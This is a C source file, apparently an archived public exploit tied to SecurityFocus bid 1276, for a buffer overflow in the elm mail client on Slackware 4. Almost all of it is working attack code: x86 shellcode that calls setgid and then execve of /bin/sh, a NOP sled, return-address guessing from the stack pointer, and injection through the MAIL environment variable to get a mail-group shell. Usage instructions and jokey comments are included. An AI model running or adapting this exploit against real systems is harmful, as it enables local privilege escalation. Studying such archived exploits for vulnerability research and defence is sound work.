880bbe402e
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86 lines
No EOL
2.4 KiB
C
86 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/1276/info
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//
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// Buffer overflow vulnerabilities exist in elm (Electronic Mail for Unix).
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//
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/*
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Elm Exploit - Scrippie - #Phreak.nl - b0f -
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http://b0f.freebsd.lublin.pl
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This exploit spawns an EGID mail shell on the default Slackware 4
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install.
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Use as: elm-smash [mail-gid] [offset]
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Not that EGID=mail has got any use, but hey, think of it as group
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eleviation :)
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Take care and till next time!
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*/
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#include <stdio.h>
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#define NUMNOPS 193 // If you change this, you gonna have to
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change
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// the entire sploit ;)
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// Shellcode does: setgid(12); execve("/bin/sh");
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char
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shellcode[]="\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
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"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
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"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
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"\x73\x68";
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// Oh no! Where the fuck is my code on the stack?
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unsigned long get_sp(void) {
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__asm__("movl %esp, %eax");
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}
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// Thanx for telling me lad :)
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main(int argc, char **argv)
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{
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int i, offset=-300; // Offset works for my box
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char gid=12;
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long addy;
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char *thaCode;
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char *mailGid;
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if(argc > 1) {
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gid = (char) atoi(argv[1]);
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mailGid = (char *)strchr(shellcode, 0x0c);
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*mailGid = gid;
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}
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if(argc > 2) offset = atoi(argv[2]);
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if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5))) {
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fprintf(stderr, "Contact your admin and tell him to buy more
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RAM\n");
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exit(-1);
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}
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addy = get_sp() - offset;
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printf("/-----------------------------------------------\\\n");
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printf("| Slack 4/Elm exploit - Scrippie |\n");
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printf("\\-----------------------------------------------/\n");
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printf("Assuming sgid(elm) = %d\n", (int) gid);
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printf("Using ret addr = %x\n", addy);
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printf("You're now EUID=mail, take care :-p\n");
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printf("Please run \"reset\" when this works\n");
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sleep(4);
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memset(thaCode, 0x90, NUMNOPS);
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thaCode[NUMNOPS] = 0x00; // Set to NULL to make strcat() work
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strcat(thaCode, shellcode);
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memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
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setenv("MAIL", thaCode, 1); // We're going to be nasty now :)
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if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1) {
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perror("execl()");
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exit(-1);
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}
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exit(0);
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} |